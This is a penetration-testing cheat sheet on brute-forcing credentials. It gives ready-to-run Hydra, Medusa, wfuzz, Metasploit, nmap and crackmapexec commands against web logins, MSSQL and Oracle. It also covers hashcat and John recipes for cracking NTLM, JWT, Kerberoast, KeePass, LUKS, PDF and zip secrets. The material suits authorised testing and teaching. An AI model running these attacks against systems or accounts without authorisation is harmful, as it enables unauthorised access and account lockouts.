Brute Force - Services, web, local, tools & wordlists
A comprehensive brute force guide covering web logins, APIs, and local services like IMAP, MySQL, and LDAP using tools like Hydra, Medusa, Legba, and more.
Search in google for default credentials of the technology that is being used, or try these links:
One of the easiest and most overlooked attack vectors is the use of default usernames and passwords. Many systems, especially routers, cameras, IoT devices, web panels, and enterprise software, ship with default login credentials. These are often never changed β making them low-hanging fruit for attackers and red teamers alike.
Before launching a brute-force attack, always check whether the system uses default creds. You can often find these in documentation, online forums, or public lists.
While default credential lists are a great starting point, custom wordlists tailored to your target dramatically increase the success rate of brute-force and dictionary attacks. By gathering intel about the target, you can generate personalized passwords that are far more likely to work.
Here are some effective methods and tools for building your own dictionaries:
Crunch β Custom Pattern Generator
crunch allows you to generate wordlists with fine control over length, character sets, and patterns.
# Length 4 to 6, using numbers and uppercase hex
crunch 4 6 0123456789ABCDEF -o crunch1.txt
# Length 4 only, using predefined charset
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha
# Pattern-based example
crunch 6 8 -t ,@@^^%%
@ = lowercase | , = uppercase | % = numbers | ^ = special characters
Website-Based Wordlists
Leverage content from target websites to generate relevant wordlists:
# Use CeWL to scrape words from a target site
cewl https://example.com -m 5 -w words.txt
# Tok grabs words from a list of URLs
cat urls.txt | tok
# Extract words from JS files (via getjswords)
cat js-urls.txt | python3 getjswords.py
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
Wordlist combinator attack
It's possible to combine 2 wordlists into 1 with hashcat.
If list 1 contained the word "hello" and the second contained 2 lines with the words "world" and "earth". The words helloworld and helloearth will be generated.
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
Mask attack (-a 3)
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff
# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.
# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
Common Services
Once you've got a solid wordlist, it's time to test it against live services. Below are examples for brute-forcing commonly exposed protocols using Hydra, Nmap, Metasploit, Legba, and more.
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_TO_PASSWORDS>
msf> set USER_FILE <PATH_TO_USERS>
msf> run
wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
#Here we have filtered by line
POST, 2 lists, filter code (show)
wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
#Here we have filtered by code
GET, 2 lists, filter string (show), proxy, cookies
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
For https you have to change from "http-post-form" to "https-post-form"
HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
Keepass
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>
#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
In order to use oracle_login with patator you need to install:
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt βP /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> βU /root/Desktop/user.txt βP /root/Desktop/pass.txt βM mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as snowdroppe/ssh-keybrute. Pre-generated sets of weak keys are also available such as g0tmi1k/debian-ssh.
STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ)
The STOMP text protocol is a widely used messaging protocol that allows seamless communication and interaction with popular message queueing services such as RabbitMQ, ActiveMQ, HornetQ, and OpenMQ. It provides a standardized and efficient approach to exchange messages and perform various messaging operations.
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
Known plaintext zip attack
You need to know the plaintext (or part of the plaintext) of a file contained inside the encrypted zip. You can check filenames and size of files contained inside an encrypted zip running: 7z l encrypted.zip
Download bkcrackfrom the releases page.
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password
7z
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john